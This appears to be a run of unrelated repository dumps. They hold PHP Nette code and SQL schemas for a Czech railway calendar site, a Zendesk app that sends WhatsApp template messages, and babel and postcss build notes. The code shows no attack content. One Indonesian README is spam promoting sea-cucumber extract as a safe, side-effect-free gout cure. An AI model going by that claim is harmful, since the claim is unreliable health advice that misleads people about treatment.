return $this; } public function getApproveState(): ?string { return $this->approveState; } public function setApproveState(?string $approveState): News { $this->approveState = $approveState; return $this; } public function getSeoUrl(): ?string { return $this->seoUrl; } public function setSeoUrl(?string $seoUrl): News { $this->seoUrl = $seoUrl; return $this; } public function getType(): string { return $this->type; } public function setType(string $type): News { $this->type = $type; } public function getImageFolder(): ?ImageFolder { return $this->imageFolder; } public function setImageFolder(?ImageFolder $imageFolder): News { $this->imageFolder = $imageFolder; return $this; } public function isTop(): bool { return $this->top; } public function setTop(bool $top): News { $this->top = $top; return $this; } public function getDescription(): ?string { return $this->description; } public function setDescription(?string $description): News { $this->description = $description; return $this; } public function getKeywords(): ?string { return $this->keywords; } public function setKeywords(?string $keywords): News { $this->keywords = $keywords; return $this; } } ``` VehicleFormFactory.php ```<?php namespace ZelPage; use \Nette\SmartObject; use \Nette\Utils\ArrayHash; use \Nette\Application\UI\Form; class VehicleFormFactory extends AnyFormFactory { use SmartObject; /** @var CalendarService */ private $calendarService; public function __construct(CalendarService $calendarService) { $this->calendarService = $calendarService; } public function create(callable $onVehicleSaved, array $vehicleTypes, array $defaults): Form { $form = $this->createForm(); $form->addGroup('Údaje o vozidle'); $form->addHidden('vehicle_id'); $form->addText('name', 'Jméno'); $form ->addCheckboxList('type', 'typ vozidla', $vehicleTypes) ->setRequired(TRUE) ->getSeparatorPrototype()->setName(NULL); $form ->addCheckbox('active', 'Aktivní ve výběru'); $form->addText('link_atlas', 'odkaz na Atlaslokomotiv.cz'); $form->addText('link_gallery', 'odkaz na galerii'); $form->addText('uic_code', 'UIC kód'); $form ->addText('uic_country', 'UIC země') ->setType('number'); $form->setDefaults($defaults); $form->onSuccess[] = function (Form $form, ArrayHash $values) use ($onVehicleSaved) { $v = (new Vehicle()) ->setId($values->vehicle_id) ->setType($values->type) ->setName($values->name) ->setActive($values->active) ->setLinkAtlas($values->link_atlas) ->setLinkGallery($values->link_gallery) ->setUicCode($values->uic_code) ->setUicCountry($values->uic_country) ; $vehicle = (empty($values->vehicle_id)) ? $this->calendarService->addVehicle($v) : $this->calendarService->editVehicle($v); $onVehicleSaved($vehicle); }; $form->addSubmit('ok', 'OK'); return $form; } } ``` SignInFormFactory.php ```<?php namespace ZelPage; use \Nette\SmartObject; use \Nette\Security\User; use \Nette\Utils\ArrayHash; use \Nette\Application\UI\Form; use \Nette\Security\AuthenticationException; class SignInFormFactory extends AnyFormFactory { use SmartObject; /** @var User */ private $user; public function __construct(User $user) { $this->user = $user; } public function create(callable $onSignedIn): Form { $form = $this->createForm(); $form->addText('username', 'Login') ->setRequired('Please enter your username.') ; $form->addPassword('password', 'Password') ->setRequired('Please enter your password.') ; $form->addCheckbox('remember', 'Remember me'); $form->addSubmit('signin', 'Sign in'); $form->onSuccess[] = function (Form $form, ArrayHash $values) use ($onSignedIn) { try { $this->user->setExpiration($values->remember ? '30 days' : '30 minutes'); $this->user->login($values->username, $values->password); } catch (AuthenticationException $e) { $form->addError($e->getMessage()); return; } $onSignedIn(); }; return $form; } } ``` UserService.php ```<?php namespace ZelPage; use \Nette\Database\Row; use \Nette\Database\Table\ActiveRow; use \Nette\SmartObject; use \Nette\Database\Context; class UserService { use SmartObject; use LegacyAwareObject; /** @var Context */ private $db; public function __construct(Context $db) { $this->db = $db; } /** * Finds all system user groups, and also includes group layers. * * @return Group[] */ public function findGroups(): array { $gs = []; foreach ($this->db->query('SELECT id, name, comment, id_forum, slack FROM groups ORDER BY id ASC') as $row) { $g = self::mapToGroup($row); $gs[$g->getId()] = $g; } foreach ($this->db->query('SELECT id, id_group, nadpis, uroven FROM group_layers ORDER BY id_group ASC, uroven ASC') as $row) { self::mapToGroupLayer($row, $gs); } return $gs; } public function findUserByID(int $id): ?User { $row = $this->db->table('users')->where('id', $id)->fetch(); return ($row === FALSE) ? NULL : self::mapToUser($row); } public function findUserByUsername(string $username): ?User { $row = $this->db->table('users')->where('login', $username)->fetch(); return ($row === FALSE) ? NULL : self::mapToUser($row); } private static function mapToGroup(Row $row): Group { $g = (new Group()) ->setId($row->id) ->setName($row->name) ->setDescription($row->comment) ; if (empty($row->id_forum) === FALSE) { $g->setForumId(intval($row->id_forum)); } if (empty($row->slack) === FALSE) { $g->setSlack($row->slack); } return $g; } /** * @param Row $row * @param Group[] $groups */ public function mapToGroupLayer(Row $row, array &$groups) { $gl = (new GroupLayer()) ->setId($row->id) ->setName($row->nadpis) ->setLevel($row->uroven) ; if (array_key_exists($row->id_group, $groups)) { $groups[$row->id_group]->addLayer($gl); } } private static function mapToUser(ActiveRow $row): User { $u = (new User()) ->setId($row->id) ->setMigratedFromMD5($row->is_migrated_from_md5) ; if (empty($row->login) === FALSE) { $u->setLogin($row->login); } if (empty($row->pass) === FALSE) { $u->setPassword($row->pass); } if (empty($row->jmeno) === FALSE) { $u->setName($row->jmeno); } if (empty($row->zkratka) === FALSE) { $u->setAbbr($row->zkratka); } if (empty($row->nick) === FALSE) { $u->setNickname($row->nick); } if (empty($row->email) === FALSE) { $u->setEmail($row->email); } return $u; } } ``` VehiclePresenter.php ```<?php namespace ZelPage; use \Nette\Application\UI\Form; use \Nette\InvalidArgumentException; class VehiclePresenter extends BasePresenter { /** @var null|Vehicle */ private $vehicle; /** @var Vehicle[] */ private $vehicles = []; /** @var string[] */ private $vehicleTypes = []; /** @var CalendarService */ private $calendarService; /** @var VehicleFormFactory */ private $vehicleFormFactory; public function __construct( CalendarService $calendarService, VehicleFormFactory $vehicleFormFactory ) { parent::__construct(); $this->calendarService = $calendarService; $this->vehicleFormFactory = $vehicleFormFactory; } protected function startup() { parent::startup(); $this->vehicleTypes = [ 1 => 'parní', 2 => 'motoráček', 4 => 'diesel', 8 => 'elektrický', 16 => 'parník', 32 => 'motorová loď', 1024 => 'metro', 2048 => 'tramvaj', 4096 => 'trolejbus', 8192 => 'autobus', 16384 => 'přípojný vůz', ]; } public function actionDefault() { $this->vehicles = $this->calendarService->findVehicles(); } public function renderDefault() { $this->template->vehicles = $this->vehicles; } public function actionEdit(int $id) { $this->vehicle = $this->calendarService->findVehicleByID($id); if (is_null($this->vehicle)) { throw new InvalidArgumentException("Cannot find vehicle $id."); } } public function actionDelete(int $id) { $this->calendarService->deleteVehicle($id); $this->redirect('default'); } protected function createComponentVehicleForm(): Form { $editing = is_null($this->vehicle) === FALSE; $form = $this->vehicleFormFactory->create( function (Vehicle $vehicle) { $this->redirect('default'); }, $this->vehicleTypes, [ 'vehicle_id' => $editing ? $this->vehicle->getId() : NULL, 'type' => $editing ? $this->vehicle->getType() : NULL, 'name' => $editing ? $this->vehicle->getName() : NULL, 'active' => $editing ? $this->vehicle->isActive() : 0, 'link_atlas' => $editing ? $this->vehicle->getLinkAtlas() : NULL, 'link_gallery' => $editing ? $this->vehicle->getLinkGallery() : NULL, 'uic_code' => $editing ? $this->vehicle->getUicCode() : NULL, 'uic_country' => $editing ? $this->vehicle->getUicCountry() : NULL, ] ); return $form; } } ``` Region.php ```<?php namespace ZelPage; class Region { /** @var null|int */ private $id; /** @var null|string */ private $name; /** @var null|int */ private $kzcRegion; /** @var null|int */ private $kzcCountry; /** @var null|string */ private $abbr; /** @var null|int */ private $orderPosition; /** @var bool */ private $visible = TRUE; /** @var null|string */ private $seoUrl; public function getId(): ?int { return $this->id; } public function setId(?int $id): Region { $this->id = $id; return $this; } public function getName(): ?string { return $this->name; } public function setName(?string $name): Region { $this->name = $name; return $this; } public function getKzcRegion(): ?int { return $this->kzcRegion; } public function setKzcRegion(?int $kzcRegion): Region { $this->kzcRegion = $kzcRegion; return $this; } public function getKzcCountry(): ?int { return $this->kzcCountry; } public function setKzcCountry(?int $kzcCountry): Region { $this->kzcCountry = $kzcCountry; return $this; } public function getAbbr(): ?string { return $this->abbr; } public function setAbbr(?string $abbr): Region { $this->abbr = $abbr; return $this; } public function getOrderPosition(): ?int { return $this->orderPosition; } public function setOrderPosition(?int $orderPosition): Region { $this->orderPosition = $orderPosition; return $this; } public function isVisible(): bool { return $this->visible; } public function setVisible(bool $visible): Region { $this->visible = $visible; return $this; } public function getSeoUrl(): ?string { return $this->seoUrl; } public function setSeoUrl(?string $seoUrl): Region { $this->seoUrl = $seoUrl; return $this; } } ``` OrganizerPresenter.php ```<?php namespace ZelPage; use \Nette\InvalidArgumentException; class OrganizerPresenter extends BasePresenter { /** @var string[] */ private $organizerTypes = []; /** @var null|Organizer */ private $organizer = NULL; /** @var Organizer[] */ private $organizers = []; /** @var CalendarService */ private $calendarService; /** @var OrganizerFormFactory */ private $organizerFormFactory; public function __construct( CalendarService $calendarService, OrganizerFormFactory $organizerFormFactory ) { parent::__construct(); $this->calendarService = $calendarService; $this->organizerFormFactory = $organizerFormFactory; } protected function startup() { parent::startup(); $this->organizerTypes = [ 1 => 'jízdy', 2 => 'modelářské akce', 4 => 'výstavy', 8 => 'konference', 16 => 'držitel vozidel', 32 => 'provozovatel dráhy', ]; } public function actionDefault(int $id = NULL) { if (is_null($id)) { $this->organizers = $this->calendarService->findOrganizers(); } else { $this->organizers = $this->calendarService->findOrganizersOfType($id); } } public function renderDefault() { $this->template->organizers = $this->organizers; $this->template->organizerTypes = $this->organizerTypes; } public function actionDelete(int $id) { $this->calendarService->deleteOrganizer($id); $this->redirect('default'); } public function actionEdit(int $id) { $this->organizer = $this->calendarService->findOrganizerByID($id); if (is_null($this->organizer)) { throw new InvalidArgumentException("Cannot find organizer $id."); } } public function createComponentOrganizerForm() { $editing = is_null($this->organizer) === FALSE; $defaults = [ 'organizer_id' => $editing ? $this->organizer->getId() : NULL, 'jmeno' => $editing ? $this->organizer->getName() : NULL, 'brand' => $editing && $this->organizer->hasBrand() ? $this->organizer->getBrand() : NULL, 'taxId' => $editing && $this->organizer->hasTaxId() ? $this->organizer->getTaxId() : NULL, 'adr' => $editing && $this->organizer->hasAddress() ? $this->organizer->getAddress() : NULL, 'description' => $editing && $this->organizer->hasDescription() ? $this->organizer->getDescription() : NULL, 'postOfficeBoxNumber' => $editing && $this->organizer->hasPostOfficeBoxNumber() ? $this->organizer->getPostOfficeBoxNumber() : NULL, 'streetAddress' => $editing && $this->organizer->hasStreetAddress() ? $this->organizer->getStreetAddress() : NULL, 'postalCode' => $editing && $this->organizer->hasPostalCode() ? $this->organizer->getPostalCode() : NULL, 'addressLocality' => $editing && $this->organizer->hasAddressLocality() ? $this->organizer->getAddressLocality() : NULL, 'addressCountry' => $editing && $this->organizer->hasAddressCountry() ? $this->organizer->getAddressCountry() : NULL, 'telefon' => $editing && $this->organizer->hasPhone() ? $this->organizer->getPhone() : NULL, 'fax' => $editing && $this->organizer->hasFax() ? $this->organizer->getFax() : NULL, 'email' => $editing && $this->organizer->hasEmail() ? $this->organizer->getEmail() : NULL, 'www' => $editing && $this->organizer->hasWww() ? $this->organizer->getWww() : NULL, 'FB' => $editing && $this->organizer->hasFacebook() ? $this->organizer->getFacebook() : NULL, 'dopravce' => $editing && $this->organizer->hasCarrierNumber() ? $this->organizer->getCarrierNumber() : NULL, 'foundingDate' => $editing && $this->organizer->hasFoundingDate() ? $this->organizer->getFoundingDate() : NULL, 'dissolutionDate' => $editing && $this->organizer->hasDissolutionDate() ? $this->organizer->getDissolutionDate() : NULL, 'typ' => $editing ? $this->organizer->getTypes() : [], 'active' => $editing ? $this->organizer->isActive() : 0, ]; return $this->organizerFormFactory->create( function (Organizer $organizer) { $this->redirect('default'); }, $defaults, $this->organizerTypes ); } } ``` migrations.sql ```ALTER TABLE `users` CHANGE `pass` `pass` VARCHAR(255) COLLATE 'utf8_czech_ci' NULL AFTER `login`, ADD COLUMN `is_migrated_from_md5` TINYINT(1) UNSIGNED NOT NULL DEFAULT 0 COMMENT 'Password hash migrated from MD5 to BCrypt' AFTER `pass` ;``` schema.sql ```CREATE TABLE `groups` ( `id` int(4) NOT NULL AUTO_INCREMENT, `name` varchar(100) NOT NULL COLLATE utf8_czech_ci COMMENT 'Group name', `comment` text NOT NULL COLLATE utf8_czech_ci COMMENT 'Group description', `id_forum` mediumint(8) unsigned NULL DEFAULT 0 COMMENT 'id na diskusním fóru ŽelPage', `slack` varchar(255) NULL DEFAULT NULL COLLATE utf8_czech_ci COMMENT 'Slack webhook', PRIMARY KEY (`id`), KEY `id` (`id`,`name`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_czech_ci COMMENT='uživatelské skupiny'; CREATE TABLE `group_layers` ( `id` int(4) NOT NULL AUTO_INCREMENT, `id_group` int(2) NOT NULL DEFAULT 0, `nadpis` varchar(100) NOT NULL COLLATE utf8_czech_ci, `uroven` int(1) NOT NULL DEFAULT 0, PRIMARY KEY (`id`), KEY `id_group` (`id_group`,`uroven`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_czech_ci; CREATE TABLE `kalendar_spolky` ( `id` smallint(5) unsigned NOT NULL AUTO_INCREMENT, `jmeno` varchar(100) COLLATE utf8_czech_ci DEFAULT NULL COMMENT 'název', `brand` varchar(100) COLLATE utf8_czech_ci DEFAULT NULL, `adresa` text COLLATE utf8_czech_ci, `description` varchar(250) COLLATE utf8_czech_ci DEFAULT NULL, `postOfficeBoxNumber` varchar(32) COLLATE utf8_czech_ci DEFAULT NULL, `streetAddress` varchar(250) COLLATE utf8_czech_ci DEFAULT NULL, `postalCode` varchar(32) COLLATE utf8_czech_ci DEFAULT NULL, `addressLocality` varchar(250) COLLATE utf8_czech_ci DEFAULT NULL, `addressCountry` varchar(32) COLLATE utf8_czech_ci DEFAULT NULL, `telefon` varchar(44) COLLATE utf8_czech_ci DEFAULT NULL, `fax` varchar(32) COLLATE utf8_czech_ci DEFAULT NULL, `email` varchar(64) COLLATE utf8_czech_ci DEFAULT NULL, `www` varchar(100) COLLATE utf8_czech_ci DEFAULT NULL, `FB` varchar(100) COLLATE utf8_czech_ci DEFAULT NULL COMMENT 'odkaz na stránku nebo skupinu', `dopravce` varchar(6) COLLATE utf8_czech_ci DEFAULT NULL, `taxId` varchar(32) COLLATE utf8_czech_ci DEFAULT NULL, `foundingDate` date DEFAULT NULL COMMENT 'den založení', `dissolutionDate` date DEFAULT NULL COMMENT 'den zrušení', `typ` smallint(5) NOT NULL DEFAULT '0', `seo_url` varchar(250) COLLATE utf8_czech_ci DEFAULT NULL, `active` tinyint(1) NOT NULL DEFAULT '1', `modified` timestamp NULL DEFAULT NULL ON UPDATE CURRENT_TIMESTAMP, PRIMARY KEY (`id`), KEY `seo_url` (`seo_url`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_czech_ci; CREATE TABLE `kalendar_typy` ( `id` smallint(5) unsigned NOT NULL AUTO_INCREMENT, `typ` enum('trakce','zelakce','modvys','konf','veletrh','kongres','status','jizdne','zobraz','modsubj') COLLATE utf8_czech_ci DEFAULT NULL, `typ_id` smallint(5) unsigned NOT NULL, `obrazek` varchar(255) COLLATE utf8_czech_ci DEFAULT NULL, `obr_w` smallint(5) unsigned DEFAULT NULL, `obr_h` smallint(5) unsigned DEFAULT NULL, `p_lang` varchar(255) COLLATE utf8_czech_ci DEFAULT NULL, `p_short` varchar(255) COLLATE utf8_czech_ci DEFAULT NULL, `p_long` text COLLATE utf8_czech_ci, PRIMARY KEY (`id`), KEY `typ` (`typ`,`typ_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_czech_ci COMMENT='kategorie pro kalendář nostalgie'; CREATE TABLE `kalendar_vozidla` ( `id` smallint(5) unsigned NOT NULL AUTO_INCREMENT, `jmeno` varchar(40) COLLATE utf8_czech_ci DEFAULT NULL, `typ` smallint(5) DEFAULT NULL, `seo_url` varchar(40) COLLATE utf8_czech_ci DEFAULT NULL, `link_atlas` varchar(255) COLLATE utf8_czech_ci DEFAULT NULL, `link_galerie` varchar(255) COLLATE utf8_czech_ci DEFAULT NULL, `active` tinyint(1) DEFAULT '1', `modified` timestamp NULL DEFAULT NULL ON UPDATE CURRENT_TIMESTAMP, `uiccode` varchar(9) COLLATE utf8_czech_ci DEFAULT NULL, `zeme` tinyint(2) DEFAULT '54', `cat` enum('r','v','u','w','s') COLLATE utf8_czech_ci DEFAULT 'v', PRIMARY KEY (`id`), KEY `seo_url` (`seo_url`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_czech_ci; CREATE TABLE `reg_zeme` ( `id` smallint(5) unsigned NOT NULL AUTO_INCREMENT, `jmeno` varchar(50) COLLATE utf8_czech_ci DEFAULT NULL, `seo_url` varchar(250) COLLATE utf8_czech_ci DEFAULT NULL, `zkratka` varchar(3) COLLATE utf8_czech_ci DEFAULT NULL, `uiccode` smallint(5) unsigned DEFAULT NULL, `en_name` varchar(100) COLLATE utf8_czech_ci DEFAULT NULL, `de_name` varchar(100) COLLATE utf8_czech_ci DEFAULT NULL, `fr_name` varchar(100) COLLATE utf8_czech_ci DEFAULT NULL, `orig_name` varchar(100) COLLATE utf8_czech_ci DEFAULT NULL, `part` varchar(100) COLLATE utf8_czech_ci DEFAULT NULL, PRIMARY KEY (`id`), KEY `regz_seo_url` (`seo_url`), KEY `uiccode` (`uiccode`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_czech_ci COMMENT='Seznam zemí pro odkazy a akce'; CREATE TABLE `users` ( `id` int(10) unsigned NOT NULL AUTO_INCREMENT, `login` varchar(25) COLLATE utf8_czech_ci DEFAULT NULL, `pass` varchar(32) COLLATE utf8_czech_ci DEFAULT NULL, `is_migrated_from_md5` tinyint(1) unsigned NOT NULL DEFAULT '0' COMMENT 'Password hash migrated from MD5 to BCrypt', `jmeno` varchar(50) COLLATE utf8_czech_ci DEFAULT NULL, `zkratka` varchar(5) COLLATE utf8_czech_ci DEFAULT NULL, `nick` varchar(20) COLLATE utf8_czech_ci DEFAULT NULL, `email` varchar(50) COLLATE utf8_czech_ci DEFAULT NULL, `mobil` varchar(13) COLLATE utf8_czech_ci DEFAULT NULL, `web` varchar(50) COLLATE utf8_czech_ci DEFAULT NULL, `icq` int(11) DEFAULT NULL, `oautorovi` text COLLATE utf8_czech_ci, `zobraz` varchar(50) COLLATE utf8_czech_ci DEFAULT NULL, `prava` enum('1','2','3','4','5') COLLATE utf8_czech_ci DEFAULT NULL, `stav` enum('a','n','y_n') COLLATE utf8_czech_ci DEFAULT NULL, `last` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `notifikace` enum('y','n') COLLATE utf8_czech_ci DEFAULT NULL, `last_login` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `aol` varchar(15) COLLATE utf8_czech_ci DEFAULT NULL, `msn` varchar(15) COLLATE utf8_czech_ci DEFAULT NULL, `ym` varchar(15) COLLATE utf8_czech_ci DEFAULT NULL, `show_email` enum('y','n') COLLATE utf8_czech_ci DEFAULT NULL, `show_mobil` enum('y','n') COLLATE utf8_czech_ci DEFAULT NULL, `pocet_fotek` int(4) NOT NULL DEFAULT '0', `pocet_koment` int(5) NOT NULL DEFAULT '0', `rocnik` int(4) NOT NULL DEFAULT '0', `body` int(6) NOT NULL DEFAULT '0', `vip` int(2) NOT NULL DEFAULT '0', `id_forum` mediumint(8) unsigned NOT NULL DEFAULT '0', `show_name` enum('y','n') COLLATE utf8_czech_ci DEFAULT NULL, `datum_reg` datetime DEFAULT NULL, `flags` smallint(5) unsigned DEFAULT '0', `twitter_user` varchar(150) COLLATE utf8_czech_ci DEFAULT NULL, `twitter_notify_mail` varchar(150) COLLATE utf8_czech_ci DEFAULT NULL, PRIMARY KEY (`id`), KEY `zobraz` (`zobraz`), KEY `login` (`login`,`pass`), KEY `email` (`email`), KEY `stav` (`stav`,`zobraz`), KEY `pocet_fotek` (`pocet_fotek`,`zobraz`), KEY `id` (`id`,`zobraz`,`email`,`show_email`), KEY `id_forum_stav_email` (`id_forum`,`stav`,`email`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_czech_ci COMMENT='Registrovaní uživatelé'; ``` suggested-migrations.sql ```ALTER TABLE `kalendar_typy` CHANGE COLUMN `typ` `typ` ENUM('trakce', 'zelakce', 'modvys', 'konf', 'veletrh', 'kongres', 'status', 'jizdne', 'zobraz', 'modsubj') NOT NULL COLLATE utf8_czech_ci AFTER `id` ; ALTER TABLE `reg_zeme` CHANGE COLUMN `jmeno` `jmeno` VARCHAR (50) NOT NULL COLLATE utf8_czech_ci AFTER `id`, ; ```
zemsmall/http-caramengobatiasamurat4.blogspot.com-
zemsmall/http-caramengobatiasamurat4.blogspot.com- README.md ```http-caramengobatiasamurat4.blogspot.com- ========================================= Untuk anda yang sedang mencari obat asam urat anda bisa menggunakan solusi cara mengobati penyakit asam urat dengan menggunakan ektrak teripang laut yang terjamin aman dan ampuh tanpa menimbulkan efek samping. ```
zendesk/sunshine-conversations-zat-proactive-wa-poc
zendesk/sunshine-conversations-zat-proactive-wa-poc main.js ```$(function() { //Prevent clicking on Send without the required information $('#send').attr("disabled", true); function enableSend(){ if($('#phone').val() != '' && $('#text').val() != ''){ $('#send').attr("disabled", false); }else{ $('#send').attr("disabled", true); } } $('#text').on('input',function(e){ enableSend() }); $('#phone').on('input',function(e){ enableSend() }); function buildDropDown(list, dropdown, empty){ // Remove current options dropdown.html(''); // Add the empty option with the empty message dropdown.append('<option value="">' + empty + '</option>'); // Check result isnt empty var array = list.split(','); if(array.length > 0) { // Loop through each of the results and append the option to the dropdown $.each(array, function(index, value) { dropdown.append('<option value="' + value + '">' + value + '</option>'); }); } } // Initialise the Zendesk JavaScript API client // https://developer.zendesk.com/apps/docs/apps-v2 var client = ZAFClient.init(); client.invoke('resize', { width: '300px', height: '380px' }); var appId, integrationId, namespace, templateNames, language, notificationAPI; $(document).ready(function() { //Fetch the app parameters client.metadata().then(function(meta) { appId = meta.settings['appId']; integrationId = meta.settings['integrationId']; namespace = meta.settings['namespace']; templateNames = meta.settings['templates']; language = meta.settings['language']; notificationAPI = true; buildDropDown(templateNames, $('#hsm'), "Select a template..."); }); //Prepare and send notif $('#send').click(function(e) { var phone = $('#phone').val(); var template_name = $('#hsm').val(); if (notificationAPI == true){ $('#title').text("Using Notification API"); submitNotificationAPI(phone, template_name); }else{ $('#title').text("Using Conversation API"); precreateAppUser(phone,template_name); } }); //Call to the Notification API function submitNotificationAPI(phone, template_name) { console.log("submitNotificationAPI"); var param = [$('#p1').val(), $('#p2').val(), $('#p3').val(), $('#p4').val(), $('#p5').val()]; var localizable_params = []; param.forEach(function(lp, index) { if (lp) { var p = {}; p.default = lp; localizable_params.push(p); } }); //console.log(JSON.stringify(localizable_params)); var data = { "storage": "full", "destination": { "integrationId": integrationId, "destinationId": phone }, "author": { "role": "appMaker" }, "messageSchema": "whatsapp", "message": { "type": "hsm", "hsm": { "namespace": namespace, "element_name": template_name, "language": { "policy": "fallback", "code": language }, "localizable_params": localizable_params } } } //console.log(JSON.stringify(data)); var settings = { url: 'https://api.smooch.io/v1.1/apps/'+appId+'/notifications', headers: {"Authorization": "Bearer {{setting.jwt}}"}, //headers: {"Authorization": "Bearer " + jwt }, //for live debugging secure: true, type: 'POST', contentType: 'application/json', data: JSON.stringify(data) }; client.request(settings).then(function(response) { console.log(response); $('#api_response').text(JSON.stringify(response)); }) .catch(function(err) { console.log(err); $('#api_response').text(JSON.stringify(err)); }); } /* //Call to the Conversation API - createUser function precreateAppUser(phone,template_name) { //Precreate AppUser (if already exist it will generate a 409 error but.. whatever) var data = { "userId": phone } var settings = { url: 'https://api.smooch.io/v1.1/apps/'+appId+'/appusers', headers: {"Authorization": "Bearer {{setting.jwt}}"}, secure: true, type: 'POST', contentType: 'application/json', data: JSON.stringify(data) }; client.request(settings).then(function(response) { console.log(response); $('#api_response').text(JSON.stringify(response)); $('#api_precreate').text("User created"); linkAppUserToWAChannel(phone,template_name); }) .catch(function (err) { console.log(err); $('#api_response').text(JSON.stringify(err)); $('#api_precreate').text("User creation issue - Click here to link to WA anyway"); $('#api_precreate').click(function(e) { $('#api_precreate').text("User creation issue - Linking to WA..."); linkAppUserToWAChannel(phone,template_name); }); }); } //Call to the Conversation API - link to Channel function linkAppUserToWAChannel(phone,template_name) { //Link user to channel: if the number is linked to another appUser, it will move the link var data={ "type": "whatsapp", "phoneNumber": phone, "confirmation": { "type": "immediate" } } var settings = { url: 'https://api.smooch.io/v1.1/apps/'+appId+'/appusers/'+phone+'/channels', headers: {"Authorization": "Bearer {{setting.jwt}}"}, secure: true, type: 'POST', contentType: 'application/json', data: JSON.stringify(data) }; client.request(settings).then(function(response) { console.log(response); $('#api_response').text(JSON.stringify(response)); $('#api_link').text("User linked to WA"); //Wait for the link result //Send the message sendHSM(phone,template_name); }) .catch(function (err) { console.log(err); $('#api_response').text(JSON.stringify(err)); $('#api_link').text("Linking issue - Click here to send the HSM anyway"); $('#api_link').click(function(e) { //Send the message $('#api_link').text("Linking issue - Sending HSM..."); sendHSM(phone,template_name); }); }); } //Call to the Conversation API - send HSM function sendHSM(phone,template_name) { var param = [$('#p1').val(), $('#p2').val(), $('#p3').val(), $('#p4').val(), $('#p5').val()]; var localizable_params = []; param.forEach(function(lp, index) { if (lp) { var p = {}; p.default = lp; localizable_params.push(p); } }); //console.log(JSON.stringify(localizable_params)); var data = { "role": "appMaker", "messageSchema": "whatsapp", "message": { "type": "hsm", "hsm": { "namespace": namespace, "element_name": template_name, "language": { "policy": "fallback", "code": language }, "localizable_params": localizable_params } } } //console.log(JSON.stringify(data)); var settings = { url: 'https://api.smooch.io/v1.1/apps/'+appId+'/appusers/'+phone+'/messages', headers: {"Authorization": "Bearer {{setting.jwt}}"}, secure: true, type: 'POST', contentType: 'application/json', data: JSON.stringify(data) }; client.request(settings).then(function(resp) { console.log(resp); $('#api_response').text(JSON.stringify(response)); $('#api_send').text('<h1>Done!</h1>'); }) .catch(function (err) { console.log(err); $('#api_response').text(JSON.stringify(err)); $('#api_send').text('Done.'); }); } */ }); });``` README.md ```# zat-proactive-wa-poc Zendesk Support App for proactive messaging on WhatsApp # Zendesk tutorials: https://develop.zendesk.com/hc/en-us/articles/360001075048-Installing-and-using-the-Zendesk-apps-tools https://developer.zendesk.com/apps/docs/developer-guide/zat ```
zeng-ge/frontend-build
zeng-ge/frontend-build index.js ```var postcss = require('postcss'); const displayFlexes = ['-webkit-box', '-moz-box', '-ms-flexbox', '-webkit-flex'] const flex = ['-webkit-box-flex', '-moz-box-flex', '-webkit-flex', '-ms-flex'] function displayFlexHandler(declear){ const rule = declear.parent if (declear.value === 'flex') { displayFlexes.forEach(value => { rule.append({ prop: 'display', value: value }) }); } } function flexValueHandler(declear) { const rule = declear.parent displayFlexes.forEach(flex => { rule.append({ prop: flex, value: declear.value }) }); } const flexPlugin = function(root) { root.walkRules(function(rule) { rule.walkDecls(/^display?/, displayFlexHandler); rule.walkDecls(/^flex?/, flexValueHandler); }); }; // module.exports = postcss.plugin('postcss-test-plugin', function(){return flexPlugin;}); const css = ` .header{ display: flex; flex-direction: row; } .header .column{ flex: 1; } ` const autoprefixer = require('autoprefixer')({ browsers: [ 'last 5 versions',//支持最新的5个版本 'not ie <= 8',//IE8以下不支持 ] }) postcss(autoprefixer).process(css).then(result => { console.log(result.css) }) postcss([flexPlugin]).process(css).then(result => { console.log(result.css) }) ``` README.MD ```## 小目标 ### babel 1. 用@babel/cli将src/index.js和log.js编译成es5 2. 通过配置文件完成编译 ``` @babel/plugin-proposal-class-properties @babel/plugin-transform-arrow-functions @babel/plugin-transform-classes ``` ### eslint 1. 配置禁用console, 分号,未定义变量以及强制单引号 2. 通过注释disabled rule ### postcss 1. autoprefixer配置browserlist来展示flex属性 2. 实现一个dipslay: flex的小插件(支持'-webkit-box', '-moz-box', '-ms-flexbox', '-webkit-flex') clear ``` babel.config.js ```module.exports = { presets: [ /** * modules的值: * 默认是auto, 测试发现这个auto就是commonjs * cjs就是commonjs * false是禁用模块化,此时import不会被编译 * 由于现在的webpack有了自己的模块化(即ES6),所以可以关闭babel的模块化 * "amd" | "umd" | "systemjs" | "commonjs" | "cjs" | "auto" | false, defaults to "auto" * * * useBuiltIns有两个值entry与usage * 对于entry, 需要人工import @babel/polyfill,而且只能import一次,多次import会报错 * 对于usage,不需要人工的import任何辅助API,它会自动判断所需要的api并引入core-js里面对应的文件 * 比如在User里面用到了Promise,它会自动的添加require("core-js/modules/es6.promise"); * 选usage时必须安装core-js依赖 * * loose默认值是false * true: 用更简单的方式生成ES5代码 * false: 生成的代码更复杂 * 如,对于上面的User类 * true时:更偏向于ES5的语法 * User.prototype.say = function(){} * false时: * _createClass(User, [{ * key: 'say', * value: function(){} * }]) * * targets指定代码运行的环境,它的值是一个browserslist-compatible * 如果不指定,所有的ES6语法都会转译 * 如果指定了,比如说chrome: 70,那么chrome70支持的语法不会被转译 */ [ '@babel/preset-env', { modules: 'cjs', useBuiltIns: 'usage', loose: false, targets: { chrome: "30" } } ] ], plugins: [ '@babel/plugin-proposal-class-properties' ], test: ['*/*.js'], env: { sit: { presets: [ ['@babel/env', { 'modules': false }] ], plugins: [ '@babel/plugin-proposal-class-properties' ], }, uat: {}, prod: { presets: [ ['@babel/env', { 'modules': false }] ], plugins: [ '@babel/plugin-proposal-class-properties' ] }, } } ``` README.MD ```# frontend build ## babel ### @babel/cli 1. prepare ``` git clone https://github.com/zeng-ge/frontend-build cd packages/babel yarn install ``` 2. comand options ``` babel src --out-dir build --verbose --sourcemaps inline --watch --presets=@babel/preset-env --plugins=@babel/plugin-proposal-class-properties --env-name sit --minified --extensions .js,.jsx ``` - --config-file - --out-dir - --out-file - --presets - --plugins - --env-name [NODE_ENV|BABEL_ENV|--env-name] ``` "sit": "NODE_ENV=sit babel src --out-file build.js", "uat": "BABEL_ENV=uat babel src --out-file build.js" "prod": "babel src --out-file build.js --env-name 